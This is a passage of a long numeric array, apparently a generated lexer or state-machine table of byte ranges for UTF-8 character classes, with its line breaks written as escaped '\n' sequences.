128,\n    137, 139, 155, 161, 163, 165, 169, 171,\n    187, 155, 156, 151, 255, 156, 157, 160,\n    181, 255, 186, 187, 255, 162, 255, 160,\n    168, 161, 167, 158, 255, 160, 132, 135,\n    133, 134, 176, 255, 128, 191, 154, 164,\n    168, 128, 149, 150, 191, 128, 152, 153,\n    191, 181, 128, 159, 160, 189, 190, 191,\n    189, 128, 131, 132, 185, 186, 191, 144,\n    128, 151, 152, 161, 162, 176, 177, 255,\n    169, 177, 129, 132, 141, 142, 145, 146,\n    179, 181, 186, 188, 190, 191, 192, 255,\n    142, 158, 128, 155, 156, 161, 162, 175,\n    176, 177, 178, 191, 169, 177, 180, 183,\n    128, 132, 133, 138, 139, 142, 143, 144,\n    145, 146, 147, 185, 186, 191, 157, 128,\n    152, 153, 158, 159, 177, 178, 180, 181,\n    191, 142, 146, 169, 177, 180, 189, 128,\n    132, 133, 185, 186, 191, 144, 185, 128,\n    159, 160, 161, 162, 191, 169, 177, 180,\n    189, 128, 132, 133, 140, 141, 142, 143,\n    144, 145, 146, 147, 185, 186, 191, 158,\n    177, 128, 155, 156, 161, 162, 191, 131,\n    145, 155, 157, 128, 132, 133, 138, 139,\n    141, 142, 149, 150, 152, 153, 159, 160,\n    162, 163, 164, 165, 167, 168, 170, 171,\n    173, 174, 185, 186, 191, 144, 128, 191,\n    141, 145, 169, 189, 128, 132, 133, 185,\n    186, 191, 128, 151, 152, 154, 155, 159,\n    160, 161, 162, 191, 128, 141, 145, 169,\n    180, 189, 129, 132, 133, 185, 186, 191,\n    158, 128, 159, 160, 161, 162, 176, 177,\n    178, 179, 191, 141, 145, 189, 128, 132,\n    133, 186, 187, 191, 142, 128, 147, 148,\n    150, 151, 158, 159, 161, 162, 185, 186,\n    191, 178, 188, 128, 132, 133, 150, 151,\n    153, 154, 189, 190, 191, 128, 134, 135,\n    191, 128, 177, 129, 179, 180, 191, 128,\n    131, 137, 141, 152, 160, 164, 166, 172,\n    177, 189, 129, 132, 133, 134, 135, 138,\n    139, 147, 148, 167, 168, 169, 170, 179,\n    180, 191, 133, 128, 134, 135, 155, 156,\n    159, 160, 191, 128, 129, 191, 136, 128,\n    172, 173, 191, 128, 135, 136, 140, 141,\n    191, 191, 128, 170, 171, 190, 161, 128,\n    143, 144, 149, 150, 153, 154, 157, 158,\n    164, 165, 166, 167, 173, 174, 176, 177,\n    180, 181, 255, 130, 141, 143, 159, 134,\n    187, 136, 140, 142, 143, 137, 151, 153,\n    142, 143, 158, 159, 137, 177, 191, 142,\n    143, 182, 183, 192, 255, 129, 151, 128,\n    133, 134, 135, 136, 255, 145, 150, 151,\n    155, 191, 192, 255, 128, 143, 144, 159,\n    160, 255, 182, 183, 190, 191, 192, 255,\n    128, 129, 255, 173, 174, 192, 255, 128,\n    129, 154, 155, 159, 160, 255, 171, 173,\n    185, 191, 192, 255, 141, 128, 145, 146,\n    159, 160, 177, 178, 191, 173, 128, 145,\n    146, 159, 160, 176, 177, 191, 128, 179,\n    180, 191, 151, 156, 128, 191, 128, 159,\n    160, 255, 184, 191, 192, 255, 169, 128,\n    170, 171, 175, 176, 255, 182, 191, 192,\n    255, 128, 158, 159, 191, 128, 143, 144,\n    173, 174, 175, 176, 180, 181, 191, 128,\n    171, 172, 175, 176, 255, 138, 191, 192,\n    255, 128, 150, 151, 159, 160, 255, 149,\n    191, 192, 255, 167, 128, 191, 128, 132,\n    133, 179, 180, 191, 128, 132, 133, 139,\n    140, 191, 128, 130, 131, 160, 161, 173,\n    174, 175, 176, 185, 186, 255, 166, 191,\n    192, 255, 128, 163, 164, 191, 128, 140,\n    141, 143, 144, 153, 154, 189, 190, 191,\n    128, 136, 137, 191, 173, 128, 168, 169,\n    177, 178, 180, 181, 182, 183, 191, 0,\n    127, 192, 255, 150, 151, 158, 159, 152,\n    154, 156, 158, 134, 135, 142, 143, 190,\n    191, 192, 255, 181, 189, 191, 128, 190,\n    133, 181, 128, 129, 130, 140, 141, 143,\n    144, 147, 148, 149, 150, 155, 156, 159,\n    160, 172, 173, 177, 178, 188, 189, 191,\n    177, 191, 128, 190, 128, 143, 144, 156,\n    157, 191, 130, 135, 148, 164, 166, 168,\n    128, 137, 138, 149, 150, 151, 152, 157,\n    158, 169, 170, 185, 186, 187, 188, 191,\n    142, 128, 132, 133, 137, 138, 159, 160,\n    255, 137, 191, 192, 255, 175, 128, 255,\n    159, 165, 170, 175, 177, 180, 191, 192,\n    255, 166, 173, 128, 167, 168, 175, 176,\n    255, 168, 174, 176, 191, 192, 255, 167,\n    175, 183, 191, 128, 150, 151, 159, 160,\n    190, 135, 143, 151, 128, 158, 159, 191,\n    128, 132, 133, 135, 136, 160, 161, 169,\n    170, 176, 177, 181, 182, 183, 184, 188,\n    189, 191, 160, 151, 154, 187, 192, 255,\n    128, 132, 133, 173, 174, 176, 177, 255,\n    143, 159, 187, 191, 192, 255, 128, 175,\n    176, 191, 150, 191, 192, 255, 141, 191,\n    192, 255, 128, 143, 144, 189, 190, 191,\n    141, 143, 160, 169, 172, 191, 192, 255,\n    191, 128, 174, 175, 190, 128, 157, 158,\n    159, 160, 255, 176, 191, 192, 255, 128,\n    150, 151, 159, 160, 161, 162, 255, 175,\n    137, 138, 184, 191, 192, 255, 128, 182,\n    183, 255, 130, 134, 139, 163, 191, 192,\n    255, 128, 129, 130, 179, 180, 191, 187,\n    189, 128, 177, 178, 183, 184, 191, 128,\n    137, 138, 165, 166, 175, 176, 255, 135,\n    159, 189, 191, 192, 255, 128, 131, 132,\n    178, 179, 191, 143, 165, 191, 128, 159,\n    160, 175, 176, 185, 186, 190, 128, 168,\n    169, 191, 131, 186, 128, 139, 140, 159,\n    160, 182, 183, 189, 190, 255, 176, 178,\n    180, 183, 184, 190, 191, 192, 255, 129,\n    128, 130, 131, 154, 155, 157, 158, 159,\n    160, 170, 171, 177, 178, 180, 181, 191,\n    128, 167, 175, 129, 134, 135, 136, 137,\n    142, 143, 144, 145, 150, 151, 159, 160,\n    255, 155, 166, 175, 128, 162, 163, 191,\n    164, 175, 135, 138, 188, 191, 192, 255,\n    174, 175, 154, 191, 192, 255, 157, 169,\n    183, 189, 191, 128, 134, 135, 146, 147,\n    151, 152, 158, 159, 190, 130, 133, 128,\n    255, 178, 191, 192, 255, 128, 146, 147,\n    255, 190, 191, 192, 255, 128, 143, 144,\n    255, 144, 145, 136, 175, 188, 191, 192,\n    255, 181, 128, 175, 176, 255, 189, 191,\n    192, 255, 128, 160, 161, 186, 187, 191,\n    128, 129, 154, 155, 165, 166, 255, 191,\n    192, 255, 128, 129, 130, 135, 136, 137,\n    138, 143, 144, 145, 146, 151, 152, 153,\n    154, 156, 157, 191, 128, 191, 128, 129,\n    130, 131, 133, 138, 139, 140, 141, 142,\n    143, 144, 145, 146, 147, 148, 149, 152,\n    156, 157, 160, 161, 162, 163, 164, 166,\n    168, 169, 170, 171, 172, 173, 174, 176,\n    177, 132, 151, 153, 155, 158, 175, 178,\n    179, 180, 191, 140, 167, 187, 190, 128,\n    255, 142, 143, 158, 191, 192, 255, 187,\n    191, 192, 255, 128, 180, 181, 191, 128,\n    156, 157, 159, 160, 255, 145, 191, 192,\n    255, 128, 159, 160, 175, 176, 255, 139,\n    143, 182, 191, 192, 255, 144, 132, 135,\n    150, 191, 192, 255, 158, 175, 148, 151,\n    188, 191, 192, 255, 128, 167, 168, 175,\n    176, 255, 164, 191, 192, 255, 183, 191,\n    192, 255, 128, 149, 150, 159, 160, 167,\n    168, 191, 136, 182, 188, 128, 133, 134,\n    137, 138, 184, 185, 190, 191, 255, 150,\n    159, 183, 191, 192, 255, 179, 128, 159,\n    160, 181, 182, 191, 128, 149, 150, 159,\n    160, 185, 186, 191, 128, 183, 184, 189,\n    190, 191, 128, 148, 152, 129, 143, 144,\n    179, 180, 191, 128, 159, 160, 188, 189,\n    191, 128, 156, 157, 191, 136, 128, 164,\n    165, 191, 128, 181, 182, 191, 128, 149,\n    150, 159, 160, 178, 179, 191, 128, 145,\n    146, 191, 128, 178, 179, 191, 128, 130,\n    131, 132, 133, 134, 135, 136, 138, 139,\n    140, 141, 144, 145, 146, 147, 150, 151,\n    152, 153, 154, 156, 162, 163, 171, 176,\n    177, 178, 129, 191, 128, 130, 131, 183,\n    184, 191, 128, 130, 131, 175, 176, 191,\n    128, 143, 144, 168, 169, 191, 128, 130,\n    131, 166, 167, 191, 182, 128, 143, 144,\n    178, 179, 191, 128, 130, 131, 178, 179,\n    191, 128, 154, 156, 129, 132, 133, 191,\n    146, 128, 171, 172, 191, 135, 137, 142,\n    158, 128, 168, 169, 175, 176, 255, 159,\n    191, 192, 255, 144, 128, 156, 157, 161,\n    162, 191, 128, 134, 135, 138, 139, 191,\n    128, 175, 176, 191, 134, 128, 131, 132,\n    135, 136, 191, 128, 174, 175, 191, 128,\n    151, 152, 155, 156, 191, 132, 128, 191,\n    128, 170, 171, 191, 128, 153, 154, 191,\n    160, 190, 192, 255, 128, 184, 185, 191,\n    137, 128, 174, 175, 191, 128, 129, 177,\n    178, 255, 144, 191, 192, 255, 128, 142,\n    143, 144, 145, 146, 149, 129, 148, 150,\n    191, 175, 191, 192, 255, 132, 191, 192,\n    255, 128, 144, 129, 143, 145, 191, 144,\n    153, 128, 143, 145, 152, 154, 191, 135,\n    191, 192, 255, 160, 168, 169, 171, 172,\n    173, 174, 188, 189, 190, 191, 128, 159,\n    161, 167, 170, 187, 185, 191, 192, 255,\n    128, 143, 144, 173, 174, 191, 128, 131,\n    132, 162, 163, 183, 184, 188, 189, 255,\n    133, 143, 145, 191, 192, 255, 128, 146,\n    147, 159, 160, 191, 160, 128, 191, 128,\n    129, 191, 192, 255, 159, 160, 171, 128,\n    170, 172, 191, 192, 255, 173, 191, 192,\n    255, 179, 191, 192, 255, 128, 176, 177,\n    178, 129, 191, 128, 129, 130, 191, 171,\n    175, 189, 191, 192, 255, 128, 136, 137,\n    143, 144, 153, 154, 191, 144, 145, 146,\n    147, 148, 149, 154, 155, 156, 157, 158,\n    159, 128, 143, 150, 153, 160, 191, 149,\n    157, 173, 186, 188, 160, 161, 163, 164,\n    167, 168, 132, 134, 149, 157, 186, 191,\n    139, 140, 192, 255, 133, 145, 128, 134,\n    135, 137, 138, 255, 166, 167, 129, 155,\n    187, 149, 181, 143, 175, 137, 169, 131,\n    140, 191, 192, 255, 160, 163, 164, 165,\n    184, 185, 186, 128, 159, 161, 162, 166,\n    191, 133, 191, 192, 255, 132, 160, 163,\n    167, 179, 184, 186, 128, 164, 165, 168,\n    169, 187, 188, 191, 130, 135, 137, 139,\n    144, 147, 151, 153, 155, 157, 159, 163,\n    171, 179, 184, 189, 191, 128, 140, 141,\n    148, 149, 160, 161, 164, 165, 166, 167,\n    190, 138, 164, 170, 128, 155, 156, 160,\n    161, 187, 188, 191, 128, 191, 155, 156,\n    128, 191, 151, 191, 192, 255, 156, 157,\n    160, 128, 191, 181, 191, 192, 255, 158,\n    159, 186, 128, 185, 187, 191, 192, 255,\n    162, 191, 192, 255, 160, 168, 128, 159,\n    161, 167, 169, 191, 158, 191, 192, 255,\n    10, 13, 128, 191, 192, 223, 224, 239,\n    240, 247, 248, 255, 128, 191, 128, 191,\n    128, 191, 128, 191, 128, 191, 10, 128,\n    191, 128, 191, 128, 191, 36, 123, 37,\n    123, 10, 128, 191, 128, 191, 128, 191,\n    36, 123, 37, 123, 170, 181, 183, 186,\n    128, 150, 152, 182, 184, 255, 192, 255,\n    128, 255, 173, 130, 133, 146, 159, 165,\n    171, 175, 255, 181, 190, 184, 185, 192,\n    255, 140, 134, 138, 142, 161, 163, 255,\n    182, 130, 136, 137, 176, 151, 152, 154,\n    160, 190, 136, 144, 192, 255, 135, 129,\n    130, 132, 133, 144, 170, 176, 178, 144,\n    154, 160, 191, 128, 169, 174, 255, 148,\n    169, 157, 158, 189, 190, 192, 255, 144,\n    255, 139, 140, 178, 255, 186, 128, 181,\n    160, 161, 162, 163, 164, 165, 166, 167,\n    168, 169, 170, 171, 172, 173, 174, 175,\n    176, 177, 178, 179, 180, 181, 182, 183,\n    184, 185, 186, 187, 188, 189, 190, 191,\n    128, 173, 128, 155, 160, 180, 182, 189,\n    148, 161, 163, 255, 176, 164, 165, 132,\n    169, 177, 141, 142, 145, 146, 179, 181,\n    186, 187, 158, 133, 134, 137, 138, 143,\n    150, 152, 155, 164, 165, 178, 255, 188,\n    129, 131, 133, 138, 143, 144, 147, 168,\n    170, 176, 178, 179, 181, 182, 184, 185,\n    190, 255, 157, 131, 134, 137, 138, 142,\n    144, 146, 152, 159, 165, 182, 255, 129,\n    131, 133, 141, 143, 145, 147, 168, 170,\n    176, 178, 179, 181, 185, 188, 255, 134,\n    138, 142, 143, 145, 159, 164, 165, 176,\n    184, 186, 255, 129, 131, 133, 140, 143,\n    144, 147, 168, 170, 176, 178, 179, 181,\n    185, 188, 191, 177, 128, 132, 135, 136,\n    139, 141, 150, 151, 156, 157, 159, 163,\n    166, 175, 156, 130, 131, 133, 138, 142,\n    144, 146, 149, 153, 154, 158, 159, 163,\n    164, 168, 170, 174, 185, 190, 191, 144,\n    151, 128, 130, 134, 136, 138, 141, 166,\n    175, 128, 131, 133, 140, 142, 144, 146,\n    168, 170, 185, 189, 255, 133, 137, 151,\n    142, 148, 155, 159, 164, 165, 176, 255,\n    128, 131, 133, 140, 142, 144, 146, 168,\n    170, 179, 181, 185, 188, 191, 158, 128,\n    132, 134, 136, 138, 141, 149, 150, 160,\n    163, 166, 175, 177, 178, 129, 131, 133,\n    140, 142, 144, 146, 186, 189, 255, 133,\n    137, 143, 147, 152, 158, 164, 165, 176,\n    185, 192, 255, 189, 130, 131, 133, 150,\n    154, 177, 179, 187, 138, 150, 128, 134,\n    143, 148, 152, 159, 166, 175, 178, 179,\n    129, 186, 128, 142, 144, 153, 132, 138,\n    141, 165, 167, 129, 130, 135, 136, 148,\n    151, 153, 159, 161, 163, 170, 171, 173,\n    185, 187, 189, 134, 128, 132, 136, 141,\n    144, 153, 156, 159, 128, 181, 183, 185,\n    152, 153, 160, 169, 190, 191, 128, 135,\n    137, 172, 177, 191, 128, 132, 134, 151,\n    153, 188, 134, 128, 129, 130, 131, 137,\n    138, 139, 140, 141, 142, 143, 144, 153,\n    154, 155, 156, 157, 158, 159, 160, 161,\n    162, 163, 164, 165, 166, 167, 168, 169,\n    170, 173, 175, 176, 177, 178, 179, 181,\n    182, 183, 188, 189, 190, 191, 132, 152,\n    172, 184, 185, 187, 128, 191, 128, 137,\n    144, 255, 158, 159, 134, 187, 136, 140,\n    142, 143, 137, 151, 153, 142, 143, 158,\n    159, 137, 177, 142, 143, 182, 183, 191,\n    255, 128, 130, 133, 136, 150, 152, 255,\n    145, 150, 151, 155, 156, 160, 168, 178,\n    255, 128, 143, 160, 255, 182, 183, 190,\n    255, 129, 255, 173, 174, 192, 255, 129,\n    154, 160, 255, 171, 173, 185, 255, 128,\n    140, 142, 148, 160, 180, 128, 147, 160,\n    172, 174, 176, 178, 179, 148, 150, 152,\n    155, 158, 159, 170, 255, 139, 141, 144,\n    153, 160, 255, 184, 255, 128, 170, 176,\n    255, 182, 255, 128, 158, 160, 171, 176,\n    187, 134, 173, 176, 180, 128, 171, 176,\n    255, 138, 143, 155, 255, 128, 155, 160,\n    255, 159, 189, 190, 192, 255, 167, 128,\n    137, 144, 153, 176, 189, 140, 143, 154,\n    170, 180, 255, 180, 255, 128, 183, 128,\n    137, 141, 189, 128, 136, 144, 146, 148,\n    182, 184, 185, 128, 181, 187, 191, 150,\n    151, 158, 159, 152, 154, 156, 158, 134,\n    135, 142, 143, 190, 255, 190, 128, 180,\n    182, 188, 130, 132, 134, 140, 144, 147,\n    150, 155, 160, 172, 178, 180, 182, 188,\n    128, 129, 130, 131, 132, 133, 134, 176,\n    177, 178, 179, 180, 181, 182, 183, 191,\n    255, 129, 147, 149, 176, 178, 190, 192,\n    255, 144, 156, 161, 144, 156, 165, 176,\n    130, 135, 149, 164, 166, 168, 138, 147,\n    152, 157, 170, 185, 188, 191, 142, 133,\n    137, 160, 255, 137, 255, 128, 174, 176,\n    255, 159, 165, 170, 180, 255, 167, 173,\n    128, 165, 176, 255, 168, 174, 176, 190,\n    192, 255, 128, 150, 160, 166, 168, 174,\n    176, 182, 184, 190, 128, 134, 136, 142,\n    144, 150, 152, 158, 160, 191, 128, 129,\n    130, 131, 132, 133, 134, 135, 144, 145,\n    255, 133, 135, 161, 175, 177, 181, 184,\n    188, 160, 151, 152, 187, 192, 255, 133,\n    173, 177, 255, 143, 159, 187, 255, 176,\n    191, 182, 183, 184, 191, 192, 255, 150,\n    255, 128, 146, 147, 148, 152, 153, 154,\n    155, 156, 158, 159, 160, 161, 162, 163,\n    164, 165, 166, 167, 168, 169, 170, 171,\n    172, 173, 174, 175, 176, 129, 255, 141,\n    255, 144, 189, 141, 143, 172, 255, 191,\n    128, 175, 180, 189, 151, 159, 162, 255,\n    175, 137, 138, 184, 255, 183, 255, 168,\n    255, 128, 179, 188, 134, 143, 154, 159,\n    184, 186, 190, 255, 128, 173, 176, 255,\n    148, 159, 189, 255, 129, 142, 154, 159,\n    191, 255, 128, 182, 128, 141, 144, 153,\n    160, 182, 186, 255, 128, 130, 155, 157,\n    160, 175, 178, 182, 129, 134, 137, 142,\n    145, 150, 160, 166, 168, 174, 176, 255,\n    155, 166, 175, 128, 170, 172, 173, 176,\n    185, 158, 159, 160, 255, 164, 175, 135,\n    138, 188, 255, 164, 169, 171, 172, 173,\n    174, 175, 180, 181, 182, 183, 184, 185,\n    187, 188, 189, 190, 191, 165, 186, 174,\n    175, 154, 255, 190, 128, 134, 147, 151,\n    157, 168, 170, 182, 184, 188, 128, 129,\n    131, 132, 134, 255, 147, 255, 190, 255,\n    144, 145, 136, 175, 188, 255, 128, 143,\n    160, 175, 179, 180, 141, 143, 176, 180,\n    182, 255, 189, 255, 191, 144, 153, 161,\n    186, 129, 154, 166, 255, 191, 255, 130,\n    135, 138, 143, 146, 151, 154, 156, 144,\n    145, 146, 147, 148, 150, 151, 152, 155,\n    157, 158, 160, 170, 171, 172, 175, 161,\n    169, 128, 129, 130, 131, 133, 135, 138,\n    139, 140, 141, 142, 143, 144, 145, 146,\n    147, 148, 149, 152, 156, 157, 160, 161,\n    162, 163, 164, 166, 168, 169, 170, 171,\n    172, 173, 174, 176, 177, 153, 155, 178,\n    179, 128, 139, 141, 166, 168, 186, 188,\n    189, 191, 255, 142, 143, 158, 255, 187,\n    255, 128, 180, 189, 128, 156, 160, 255,\n    145, 159, 161, 255, 128, 159, 176, 255,\n    139, 143, 187, 255, 128, 157, 160, 255,\n    144, 132, 135, 150, 255, 158, 159, 170,\n    175, 148, 151, 188, 255, 128, 167, 176,\n    255, 164, 255, 183, 255, 128, 149, 160,\n    167, 136, 188, 128, 133, 138, 181, 183,\n    184, 191, 255, 150, 159, 183, 255, 128,\n    158, 160, 178, 180, 181, 128, 149, 160,\n    185, 128, 183, 190, 191, 191, 128, 131,\n    133, 134, 140, 147, 149, 151, 153, 179,\n    184, 186, 160, 188, 128, 156, 128, 135,\n    137, 166, 128, 181, 128, 149, 160, 178,\n    128, 145, 128, 178, 129, 130, 131, 132,\n    133, 135, 136, 138, 139, 140, 141, 144,\n    145, 146, 147, 150, 151, 152, 153, 154,\n    155, 156, 162, 163, 171, 176, 177, 178,\n    128, 134, 135, 165, 176, 190, 144, 168,\n    176, 185, 128, 180, 182, 191, 182, 144,\n    179, 155, 133, 137, 141, 143, 157, 255,\n    190, 128, 145, 147, 183, 136, 128, 134,\n    138, 141, 143, 157, 159, 168, 176, 255,\n    171, 175, 186, 255, 128, 131, 133, 140,\n    143, 144, 147, 168, 170, 176, 178, 179,\n    181, 185, 188, 191, 144, 151, 128, 132,\n    135, 136, 139, 141, 157, 163, 166, 172,\n    176, 180, 128, 138, 144, 153, 134, 136,\n    143, 154, 255, 128, 181, 184, 255, 129,\n    151, 158, 255, 129, 131, 133, 143, 154,\n    255, 128, 137, 128, 153, 157, 171, 176,\n    185, 160, 255, 170, 190, 192, 255, 128,\n    184, 128, 136, 138, 182, 184, 191, 128,\n    144, 153, 178, 255, 168, 144, 145, 183,\n    255, 128, 142, 145, 149, 129, 141, 144,\n    146, 147, 148, 175, 255, 132, 255, 128,\n    144, 129, 143, 144, 153, 145, 152, 135,\n    255, 160, 168, 169, 171, 172, 173, 174,\n    188, 189, 190, 191, 161, 167, 185, 255,\n    128, 158, 160, 169, 144, 173, 176, 180,\n    128, 131, 144, 153, 163, 183, 189, 255,\n    144, 255, 133, 143, 191, 255, 143, 159,\n    160, 128, 129, 255, 159, 160, 171, 172,\n    255, 173, 255, 179, 255, 128, 176, 177,\n    178, 128, 129, 171, 175, 189, 255, 128,\n    136, 144, 153, 157, 158, 133, 134, 137,\n    144, 145, 146, 147, 148, 149, 154, 155,\n    156, 157, 158, 159, 168, 169, 170, 150,\n    153, 165, 169, 173, 178, 187, 255, 131,\n    132, 140, 169, 174, 255, 130, 132, 149,\n    157, 173, 186, 188, 160, 161, 163, 164,\n    167, 168, 132, 134, 149, 157, 186, 139,\n    140, 191, 255, 134, 128, 132, 138, 144,\n    146, 255, 166, 167, 129, 155, 187, 149,\n    181, 143, 175, 137, 169, 131, 140, 141,\n    192, 255, 128, 182, 187, 255, 173, 180,\n    182, 255, 132, 155, 159, 161, 175, 128,\n    160, 163, 164, 165, 184, 185, 186, 161,\n    162, 128, 134, 136, 152, 155, 161, 163,\n    164, 166, 170, 133, 143, 151, 255, 139,\n    143, 154, 255, 164, 167, 185, 187, 128,\n    131, 133, 159, 161, 162, 169, 178, 180,\n    183, 130, 135, 137, 139, 148, 151, 153,\n    155, 157, 159, 164, 190, 141, 143, 145,\n    146, 161, 162, 167, 170, 172, 178, 180,\n    183, 185, 188, 128, 137, 139, 155, 161,\n    163, 165, 169, 171, 187, 155, 156, 151,\n    255, 156, 157, 160, 181, 255, 186, 187,\n    255, 162, 255, 160, 168, 161, 167, 158,\n    255, 160, 132, 135, 133, 134, 176, 255,\n    128, 191, 154, 164, 168, 128, 149, 150,\n    191, 128, 152, 153, 191, 181, 128, 159,\n    160, 189, 190, 191, 189, 128, 131, 132,\n    185, 186, 191, 144, 128, 151, 152, 161,\n    162, 176, 177, 255, 169, 177, 129, 132,\n    141, 142, 145, 146, 179, 181, 186, 188,\n    190, 191, 192, 255, 142, 158, 128, 155,\n    156, 161, 162, 175, 176, 177, 178, 191,\n    169, 177, 180, 183, 128, 132, 133, 138,\n    139, 142, 143, 144, 145, 146, 147, 185,\n    186, 191, 157, 128, 152, 153, 158, 159,\n    177, 178, 180, 181, 191, 142, 146, 169,\n    177, 180, 189, 128, 132, 133, 185, 186,\n    191, 144, 185, 128, 159, 160, 161, 162,\n    191, 169, 177, 180, 189, 128, 132, 133,\n    140, 141, 142, 143, 144, 145, 146, 147,\n    185, 186, 191, 158, 177, 128, 155, 156,\n    161, 162, 191, 131, 145, 155, 157, 128,\n    132, 133, 138, 139, 141, 142, 149, 150,\n    152, 153, 159, 160, 162, 163, 164, 165,\n    167, 168, 170, 171, 173, 174, 185, 186,\n    191, 144, 128, 191, 141, 145, 169, 189,\n    128, 132, 133, 185, 186, 191, 128, 151,\n    152, 154, 155, 159, 160, 161, 162, 191,\n    128, 141, 145, 169, 180, 189, 129, 132,\n    133, 185, 186, 191, 158, 128, 159, 160,\n    161, 162, 176, 177, 178, 179, 191, 141,\n    145, 189, 128, 132, 133, 186, 187, 191,\n    142, 128, 147, 148, 150, 151, 158, 159,\n    161, 162, 185, 186, 191, 178, 188, 128,\n    132, 133, 150, 151, 153, 154, 189, 190,\n    191, 128, 134, 135, 191, 128, 177, 129,\n    179, 180, 191, 128, 131, 137, 141, 152,\n    160, 164, 166, 172, 177, 189, 129, 132,\n    133, 134, 135, 138, 139, 147, 148, 167,\n    168, 169, 170, 179, 180, 191, 133, 128,\n    134, 135, 155, 156, 159, 160, 191, 128,\n    129, 191, 136, 128, 172, 173, 191, 128,\n    135, 136, 140, 141, 191, 191, 128, 170,\n    171, 190, 161, 128, 143, 144, 149, 150,\n    153, 154, 157, 158, 164, 165, 166, 167,\n    173, 174, 176, 177, 180, 181, 255, 130,\n    141, 143, 159, 134, 187, 136, 140, 142,\n    143, 137, 151, 153, 142, 143, 158, 159,\n    137, 177, 191, 142, 143, 182, 183, 192,\n    255, 129, 151, 128, 133, 134, 135, 136,\n    255, 145, 150, 151, 155, 191, 192, 255,\n    128, 143, 144, 159, 160, 255, 182, 183,\n    190, 191, 192, 255, 128, 129, 255, 173,\n    174, 192, 255, 128, 129, 154, 155, 159,\n    160, 255, 171, 173, 185, 191, 192, 255,\n    141, 128, 145, 146, 159, 160, 177, 178,\n    191, 173, 128, 145, 146, 159, 160, 176,\n    177, 191, 128, 179, 180, 191, 151, 156,\n    128, 191, 128, 159, 160, 255, 184, 191,\n    192, 255, 169, 128, 170, 171, 175, 176,\n    255, 182, 191, 192, 255, 128, 158, 159,\n    191, 128, 143, 144, 173, 174, 175, 176,\n    180, 181, 191, 128, 171, 172, 175, 176,\n    255, 138, 191, 192, 255, 128, 150, 151,\n    159, 160, 255, 149, 191, 192, 255, 167,\n    128, 191, 128, 132, 133, 179, 180, 191,\n    128, 132, 133, 139, 140, 191, 128, 130,\n    131, 160, 161, 173, 174, 175, 176, 185,\n    186, 255, 166, 191, 192, 255, 128, 163,\n    164, 191, 128, 140, 141, 143, 144, 153,\n    154, 189, 190, 191, 128, 136, 137, 191,\n    173, 128, 168, 169, 177, 178, 180, 181,\n    182, 183, 191, 0, 127, 192, 255, 150,\n    151, 158, 159, 152, 154, 156, 158, 134,\n    135, 142, 143, 190, 191, 192, 255, 181,\n    189, 191, 128, 190, 133, 181, 128, 129,\n    130, 140, 141, 143, 144, 147, 148, 149,\n    150, 155, 156, 159, 160, 172, 173, 177,\n    178, 188, 189, 191, 177, 191, 128, 190,\n    128, 143, 144, 156, 157, 191, 130, 135,\n    148, 164, 166, 168, 128, 137, 138, 149,\n    150, 151, 152, 157, 158, 169, 170, 185,\n    186, 187, 188, 191, 142, 128, 132, 133,\n    137, 138, 159, 160, 255, 137, 191, 192,\n    255, 175, 128, 255, 159, 165, 170, 175,\n    177, 180, 191, 192, 255, 166, 173, 128,\n    167, 168, 175, 176, 255, 168, 174, 176,\n    191, 192, 255, 167, 175, 183, 191, 128,\n    150, 151, 159, 160, 190, 135, 143, 151,\n    128, 158, 159, 191, 128, 132, 133, 135,\n    136, 160, 161, 169, 170, 176, 177, 181,\n    182, 183, 184, 188, 189, 191, 160, 151,\n    154, 187, 192, 255, 128, 132, 133, 173,\n    174, 176, 177, 255, 143, 159, 187, 191,\n    192, 255, 128, 175, 176, 191, 150, 191,\n    192, 255, 141, 191, 192, 255, 128, 143,\n    144, 189, 190, 191, 141, 143, 160, 169,\n    172, 191, 192, 255, 191, 128, 174, 175,\n    190, 128, 157, 158, 159, 160, 255, 176,\n    191, 192, 255, 128, 150, 151, 159, 160,\n    161, 162, 255, 175, 137, 138, 184, 191,\n    192, 255, 128, 182, 183, 255, 130, 134,\n    139, 163, 191, 192, 255, 128, 129, 130,\n    179, 180, 191, 187, 189, 128, 177, 178,\n    183, 184, 191, 128, 137, 138, 165, 166,\n    175, 176, 255, 135, 159, 189, 191, 192,\n    255, 128, 131, 132, 178, 179, 191, 143,\n    165, 191, 128, 159, 160, 175, 176, 185,\n    186, 190, 128, 168, 169, 191, 131, 186,\n    128, 139, 140, 159, 160, 182, 183, 189,\n    190, 255, 176, 178, 180, 183, 184, 190,\n    191, 192, 255, 129, 128, 130, 131, 154,\n    155, 157, 158, 159, 160, 170, 171, 177,\n    178, 180, 181, 191, 128, 167, 175, 129,\n    134, 135, 136, 137, 142, 143, 144, 145,\n    150, 151, 159, 160, 255, 155, 166, 175,\n    128, 162, 163, 191, 164, 175, 135, 138,\n    188, 191, 192, 255, 174, 175, 154, 191,\n    192, 255, 157, 169, 183, 189, 191, 128,\n    134, 135, 146, 147, 151, 152, 158, 159,\n    190, 130, 133, 128, 255, 178, 191, 192,\n    255, 128, 146, 147, 255, 190, 191, 192,\n    255, 128, 143, 144, 255, 144, 145, 136,\n    175, 188, 191, 192, 255, 181, 128, 175,\n    176, 255, 189, 191, 192, 255, 128, 160,\n    161, 186, 187, 191, 128, 129, 154, 155,\n    165, 166, 255, 191, 192, 255, 128, 129,\n    130, 135, 136, 137, 138, 143, 144, 145,\n    146, 151, 152, 153, 154, 156, 157, 191,\n    128, 191, 128, 129, 130, 131, 133, 138,\n    139, 140, 141, 142, 143, 144, 145, 146,\n    147, 148, 149, 152, 156, 157, 160, 161,\n    162, 163, 164, 166, 168, 169, 170, 171,\n    172, 173, 174, 176, 177, 132, 151, 153,\n    155, 158, 175, 178, 179, 180, 191, 140,\n    167, 187, 190, 128, 255, 142, 143, 158,\n    191, 192, 255, 187, 191, 192, 255, 128,\n    180, 181, 191, 128, 156, 157, 159, 160,\n    255, 145, 191, 192, 255, 128, 159, 160,\n    175, 176, 255, 139, 143, 182, 191, 192,\n    255, 144, 132, 135, 150, 191, 192, 255,\n    158, 175, 148, 151, 188, 191, 192, 255,\n    128, 167, 168, 175, 176, 255, 164, 191,\n    192, 255, 183, 191, 192, 255, 128, 149,\n    150, 159, 160, 167, 168, 191, 136, 182,\n    188, 128, 133, 134, 137, 138, 184, 185,\n    190, 191, 255, 150, 159, 183, 191, 192,\n    255, 179, 128, 159, 160, 181, 182, 191,\n    128, 149, 150, 159, 160, 185, 186, 191,\n    128, 183, 184, 189, 190, 191, 128, 148,\n    152, 129, 143, 144, 179, 180, 191, 128,\n    159, 160, 188, 189, 191, 128, 156, 157,\n    191, 136, 128, 164, 165, 191, 128, 181,\n    182, 191, 128, 149, 150, 159, 